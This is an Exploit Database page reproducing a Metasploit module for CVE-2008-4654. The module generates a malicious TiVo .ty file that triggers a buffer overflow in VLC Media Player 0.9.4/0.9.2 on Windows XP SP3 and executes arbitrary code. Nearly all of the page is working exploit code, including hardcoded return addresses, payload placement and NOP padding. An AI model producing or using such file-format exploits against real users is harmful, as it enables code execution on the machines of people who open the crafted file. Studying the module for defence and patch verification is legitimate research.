VideoLAN VLC Media Player 0.9.4 – TiVo Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2011-02-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16629/

• ##
  # $Id: videolan_tivo.rb 11701 2011-02-02 21:47:02Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
  				By creating a malicious TY file, a remote attacker could overflow a
  				buffer and execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => 'MC',
  			'Version'=> '$Revision: 11701 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-4654' ],
  					[ 'OSVDB', '49181' ],
  					[ 'BID', '31813' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 550,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# From /misc/ version
  					#[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
  					#[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
  					[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
  					[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 22 2008',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.ty']),
  			], self.class)
  	end
  
  	def exploit
  
  		ty ="\xF5\x46\x7A\xBD"
  		ty << "\x00\x00\x00\x02"
  		ty << "\x00\x02\x00\x00"
  		ty << "\x00" * 8
  		ty << "\x00\x00\x05\x41"
  		ty << "\x00" * 4
  		ty << "\x00\x00\x05\x49"
  		ty << "\x00" * 60
  		# From /misc/ version
  		#ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
  		#ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
  		#ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
  		ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
  		ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
  		ty << "\x05"
  		ty << "\x00" * 3
  		ty << "\x05"
  		ty << "\x00" * 1
  		ty << "\x09"
  		ty << "\xc0"
  		ty << "\x00" * 14
  		ty << "\x06"
  		ty << "\xe0"
  		ty << "\x00" * 302004
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(ty)
  
  	end
  
  end